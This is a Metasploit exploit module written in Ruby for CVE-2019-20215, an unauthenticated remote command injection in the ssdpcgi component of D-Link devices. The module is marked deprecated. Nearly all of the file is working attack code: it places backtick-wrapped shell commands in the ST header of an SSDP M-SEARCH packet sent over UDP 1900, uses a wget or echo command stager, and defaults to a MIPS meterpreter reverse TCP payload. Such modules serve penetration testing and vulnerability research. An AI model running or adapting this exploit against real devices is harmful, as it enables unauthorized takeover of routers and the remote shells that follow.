D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::CmdStager
  include Msf::Module::Deprecated

  deprecated(Date.new(2024, 12, 1), 'Use `exploit/linux/upnp/dlink_upnp_msearch_exec` instead')

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi',
        'Description' => %q{
          D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi.
        },
        'Author' => [
          's1kr10s',
          'secenv'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2019-20215'],
          ['URL', 'https://medium.com/@s1kr10s/2e799acb8a73']
        ],
        'DisclosureDate' => '2019-12-24',
        'Privileged' => true,
        'Platform' => 'linux',
        'Arch' => ARCH_MIPSBE,
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',
          'CMDSTAGER::FLAVOR' => 'wget',
          'RPORT' => '1900'
        },
        'Targets' => [
          [ 'Auto',	{} ],
        ],
        'CmdStagerFlavor' => %w[echo wget],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        Msf::OptEnum.new('VECTOR', [true, 'Header through which to exploit the vulnerability', 'URN', ['URN', 'UUID']])
      ]
    )
  end

  def exploit
    execute_cmdstager(linemax: 1500)
  end

  def execute_command(cmd, _opts)
    type = datastore['VECTOR']
    if type == 'URN'
      print_status('Target Payload URN')
      val = "urn:device:1;`#{cmd}`"
    else
      print_status('Target Payload UUID')
      val = "uuid:`#{cmd}`"
    end

    connect_udp
    header = "M-SEARCH * HTTP/1.1\r\n"
    header << "Host:239.255.255.250: #{datastore['RPORT']}\r\n"
    header << "ST:#{val}\r\n"
    header << "Man:\"ssdp:discover\"\r\n"
    header << "MX:2\r\n\r\n"
    udp_sock.put(header)
    disconnect_udp
  end
end